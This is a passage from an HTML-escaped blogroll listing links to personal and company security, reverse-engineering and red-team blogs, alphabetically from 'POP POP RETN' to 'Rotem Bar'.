  &lt;li&gt;&lt;a href=&quot;https://poppopretn.com/category/blog/&quot;&gt;POP POP RETN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pop.rdi.sh&quot;&gt;POP RDI; RET;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.p6.is&quot;&gt;POSIX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://postmodern.github.io/blog/&quot;&gt;Postmodern&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://practicalsecurityanalytics.com/category/blog-posts/&quot;&gt;Practical Security Analytics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pantaprakash.com.np/index.html#posts&quot;&gt;Prakash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pranavc.tech/posts/&quot;&gt;Pranav Chachara&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://prateeknischal.github.io&quot;&gt;Prateek Nischal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pre.empt.dev&quot;&gt;pre.empt.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://predr.ag/blog/&quot;&gt;Predrag’s Playground&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sts10.github.io&quot;&gt;Prevent Default&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xprial.com/blog/&quot;&gt;Prial Islam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pridesec.com.br&quot;&gt;PRIDE Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://primalcerebral.com/blog.php&quot;&gt;Primal Cerebral&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.fagatron.world&quot;&gt;Prime Bytes: FPrime’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://primusinterp.com&quot;&gt;Primusinterp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theprivacydad.com/blog/&quot;&gt;The Privacy Dad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://priyankn.github.io&quot;&gt;Priyank’s Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://profcybernaught.hashnode.dev&quot;&gt;Prof Cyber Naught&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://programmingwithstyle.com&quot;&gt;Programming With Style&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielperez660.github.io&quot;&gt;Progress Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://projectblack.io/blog/&quot;&gt;Project Black&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nzt-48.org/blog-posts&quot;&gt;Project NZT-48&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.protekkt.com&quot;&gt;protekkt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pseudorandom.resistant.tech&quot;&gt;pseudorandom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pspaul.de&quot;&gt;pspaul&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sparkes.zone/blog/&quot;&gt;Psycho’s Corner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://psytester.github.io&quot;&gt;psytester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ptisan.net&quot;&gt;ptisan.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ptr0x1.com/posts/&quot;&gt;ptr to security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ptrpa.ws&quot;&gt;ptrpaws’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ptx2.net&quot;&gt;ptx2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://public-exposure.inform.social/post/&quot;&gt;Public Exposure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.purpl3f0xsecur1ty.tech&quot;&gt;Purpl3F0x Secur1ty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ipurple.team&quot;&gt;Purple Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://moyix.blogspot.com&quot;&gt;Push the Red Button&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwn.vg&quot;&gt;pwn.vg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwn.win&quot;&gt;pwn.win&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pwnallthethings.com&quot;&gt;PwnAllTheThings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwndiary.com&quot;&gt;PwnDiary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwnfunction.com&quot;&gt;pwnFunction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwning.tech&quot;&gt;Pwning Tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwning.systems&quot;&gt;pwning.systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwnsec.ninja/blogs/&quot;&gt;PwnSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwnshift.github.io&quot;&gt;pwnshift&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pwntario.com/team-posts&quot;&gt;Pwntario Team Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pwntester.com&quot;&gt;pwntester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pyn3rd.github.io&quot;&gt;pyn3rd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://qriousec.github.io&quot;&gt;Qrious Secure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tneitzel.eu/posts/&quot;&gt;qtc’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quentinkaiser.be&quot;&gt;QTNKSR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.quadhelion.engineering/articles.html&quot;&gt;Quadhelion Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mr-r3bot.github.io&quot;&gt;Quang Vo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.quantumlyconfused.com&quot;&gt;Quantumly Confused&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quercialabs.com/blog/&quot;&gt;QuerciaLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://qyn.app&quot;&gt;Querjin Voet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r0.haxors.org&quot;&gt;r0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.r00tedsec.es&quot;&gt;R00tedsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r00thunt.com&quot;&gt;r00thun7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r0keb.github.io&quot;&gt;r0keb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r0tbra1n.github.io&quot;&gt;r0tbra1n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r1ru.github.io&quot;&gt;r1ru&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r29k.com&quot;&gt;R29k&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x64.sh&quot;&gt;R3zk0n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://int0xcc.svbtle.com&quot;&gt;Raashid Bhat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raesene.github.io&quot;&gt;Raesene’s Ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rafaybaloch.com&quot;&gt;Rafay Baloch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://rafeeqrehman.com&quot;&gt;Rafeeq Rehman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raffy.ch/blog/&quot;&gt;Raffael Marty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raflipasya19.blogspot.com&quot;&gt;Rafli Hax0r&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.noob.ninja&quot;&gt;Rahul Maini&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rahulr.in&quot;&gt;Rahul R&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.gaborszathmari.me&quot;&gt;Rainbow &amp;amp; Unicorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://rajhackingarticles.blogspot.com&quot;&gt;Raj Chandel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rakeshmane.com&quot;&gt;Rakesh Mane&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ralphdesmangles.github.io&quot;&gt;Ralph’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bloggerrando.blogspot.com&quot;&gt;RANDO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rantsbymike.com&quot;&gt;Random Musings by a Guy Named Mike&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://randomoracle.wordpress.com&quot;&gt;Random Oracle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nebelwelt.net/blog/&quot;&gt;Random ramblings of a security nerd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://klezvirus.github.io&quot;&gt;Random Stuff about CyberSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.yappare.com&quot;&gt;Random stuff by yappare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dguerri.github.io/random-tech-stuff/&quot;&gt;Random Tech Stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jericho.blog&quot;&gt;Rants of a Deranged Squirrel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raphting.dev&quot;&gt;raphting.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rational-security.io/publications/&quot;&gt;Rational Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theravenfile.com&quot;&gt;The Raven File&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.raw.pm/categories/security/&quot;&gt;Rawsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://randywestergren.com&quot;&gt;Randy Westergren&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://rastamouse.me&quot;&gt;Rasta Mouse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rayanfam.com&quot;&gt;Rayanfam Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rayhan0x01.github.io&quot;&gt;Rayhan0x01’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raz0r.name&quot;&gt;Raz0r.name&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.razrsec.uk&quot;&gt;razrsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rbtree.blog&quot;&gt;RBTree.insert()&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.codereversing.com/blog/&quot;&gt;RCE Endeavors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rcesecurity.com&quot;&gt;RCE Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rcvalle.com/blog/&quot;&gt;rcvalle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://christopher-vella.com&quot;&gt;RE &amp;amp; Sec Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://re-alize.github.io&quot;&gt;RE-Alize Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stem-sadie.com&quot;&gt;The Real Stem Sadie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://recipeforroot.com&quot;&gt;Recipe for Root&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reconstation.io/blog&quot;&gt;Recon Station&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.recurity-labs.com&quot;&gt;The Recurity Lablog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://recyclebin.zip&quot;&gt;Recyclebin.zip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rwxstoned.github.io&quot;&gt;Red &amp;amp; Lonesome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.redcrowlab.com&quot;&gt;Red Crow Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redhotcyber.com/en/homepage/&quot;&gt;Red Hot Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://riccardoancarani.github.io&quot;&gt;Red Team Adventures&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://synzack.github.io&quot;&gt;Red Team Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redteamer.tips&quot;&gt;Red Team Tips&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redtimmy.com&quot;&gt;Red Timmy Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.redxorblue.com&quot;&gt;Red xor Blue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redbeardsec.com&quot;&gt;Redbeard Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redblue42.code42.com&quot;&gt;RedBlue42&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.redbluepurple.io&quot;&gt;RedBluePurple&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redmimicry.com/posts/&quot;&gt;RedMimicry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redpacketsecurity.com&quot;&gt;RedPacket Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redshark1802.com&quot;&gt;redshark1802 blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.redteam-pentesting.de&quot;&gt;RedTeam Pentesting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.redteam.pl&quot;&gt;Redteam.pl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redteamrecipe.com&quot;&gt;RedTeamRecipe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redteams.net/redteaming&quot;&gt;Redteams.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redtimmy.com/blog/&quot;&gt;Red Timmy Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rehex.ninja&quot;&gt;REhex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://remyhax.xyz&quot;&gt;Remy Hax&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://renaudmarti.net&quot;&gt;Renaud Martinet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mayrhofer.eu.org/#posts&quot;&gt;René Mayrhofer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mosesfrost.com&quot;&gt;Renegade Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rerednawyerg.github.io/malware-analysis/&quot;&gt;rerednawyerg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reserge.org/blog/&quot;&gt;ReSerge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xret2pwn.github.io&quot;&gt;Ret2Pwn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.ret2.io&quot;&gt;RET2Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://retr0.blog/blog&quot;&gt;retr0blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reusablesec.blogspot.com&quot;&gt;Reusable Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.revblock.dev&quot;&gt;revblock.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reverse.put.as&quot;&gt;Reverse Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r3mrum.wordpress.com&quot;&gt;Reverse Engineering Malware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reversemode.com&quot;&gt;REVERSEMODE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.reversesociety.co&quot;&gt;ReverseSociety&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctf.re&quot;&gt;Reversing Engineering for the Soul&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reversing.works/posts/&quot;&gt;Reversing Works&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rewanthtammana.com&quot;&gt;Rewanth Tammana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.rewolf.pl/blog/&quot;&gt;ReWolf’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rexorvc0.com&quot;&gt;https://rexorvc0.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://rez0.blog&quot;&gt;rez0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rffuste.com&quot;&gt;rffuste&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://rh0dev.github.io&quot;&gt;ρ - rh0dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rhynorater.github.io&quot;&gt;Rhynorater&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rhys.io&quot;&gt;Rhys Elsmore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.riamaria.com&quot;&gt;RiaMaria&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ribbiting-sec.info/posts/&quot;&gt;Ribbit-ing Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ribeir.in/index.html&quot;&gt;Ribeirin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bejarano.io&quot;&gt;Ricard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ricardojba.github.io&quot;&gt;Ricardo Almeida&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ricardojoserf.github.io&quot;&gt;Ricardo J. Ruiz Fernández&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rpadovani.com&quot;&gt;Riccardo Padovani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rw.md&quot;&gt;Rich Warren&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.richardosgood.com&quot;&gt;Richard Osgood&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sambal0x.com&quot;&gt;Richard’s Infosec blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://richiejp.com/#articles&quot;&gt;Richard Palethorpe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rickmark.me&quot;&gt;Rick Mark&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rida.dev/blog&quot;&gt;rida.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://righteousit.wordpress.com&quot;&gt;Righteous IT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ringzerolabs.com&quot;&gt;Ring 0 Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://idafchev.github.io/blog_posts&quot;&gt;Ring 0x00&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rioasmara.com&quot;&gt;Rio Asmara Suryadi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.riotsecurityteam.com&quot;&gt;RiotSecurityTeam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ripitapart.com&quot;&gt;Rip It Apart - Jason’s electronics blog-thingy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.philvenables.com&quot;&gt;Risk &amp;amp; Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://montance.blogspot.com&quot;&gt;Risk, Failure, Survival&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://riskbasedprioritization.github.io&quot;&gt;Risk Based Prioritization&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ristbs.github.io&quot;&gt;ristbs’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ritiksahni.me&quot;&gt;Ritik Sahni&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://river.cat/blog&quot;&gt;River MacLeod&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pomeroy.me&quot;&gt;Rob Pomeroy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cosideci.com&quot;&gt;Robbe Bryssinck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.xstore.co.za/stuff/&quot;&gt;Robby Pedrica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x0rb3l.github.io/Cyber-Bookmarks/&quot;&gt;Robel Campbell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alexsci.com/blog/&quot;&gt;Robert Alexander&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robertchen.cc/blog&quot;&gt;Robert Chen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robertheaton.com&quot;&gt;Robert Heaton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.robertmlee.org&quot;&gt;Robert M. Lee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swiecki.net/research.html#&quot;&gt;Robert Swiecki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robertwillishacking.com&quot;&gt;Robert Willis Hacking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.robertxiao.ca&quot;&gt;Robert Xiao&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.robinjust.in&quot;&gt;Robin Justin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robinverton.de/blog/&quot;&gt;Robin Verton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robinlunde.com/blog/&quot;&gt;Robin’s Random Rants&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robocoffee.de/&quot;&gt;RoboCoffee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.robur.coop/index.html&quot;&gt;Robur cooperative&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rodneybeede.com&quot;&gt;Rodney Beede&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.copetti.org/writings/&quot;&gt;Rodrigo’s Stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rog3rsm1th.github.io/posts/&quot;&gt;rog3rsm1th&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rzander.azurewebsites.net&quot;&gt;Roger Zander&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.r0rt1z2.com&quot;&gt;Roger’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.roguesignal.io&quot;&gt;rogue signal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rolando.anton.sh&quot;&gt;Rolando Anton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.romainthomas.fr&quot;&gt;Romain Thomas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.rm-it.de&quot;&gt;Roman Mueller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.romanrii.com&quot;&gt;Roman Riis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ngailong.wordpress.com&quot;&gt;Ron Chan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.octachart.com&quot;&gt;Ronnie Atuhaire’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://struct.github.io&quot;&gt;Root Cause&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rootcat.de/blog/&quot;&gt;rootcat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rootdse.org&quot;&gt;RootDSE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rootkits.xyz/blog/&quot;&gt;Rootkit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ropcha.in&quot;&gt;ROPCHA.IN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://ropgadget.com/sections.html&quot;&gt;ropgadget&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ropnop.com&quot;&gt;ropnop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rosesecurityresearch.com/blog-list&quot;&gt;RoseSecurity Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rossmarks.uk/blog/&quot;&gt;Ross Marks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oldbam.github.io&quot;&gt;Rostik Slipetskyy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rot256.dev/post/&quot;&gt;ROT256&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rotem-bar.com&quot;&gt;Rotem Bar&lt;/a&gt;&lt;/li&gt;
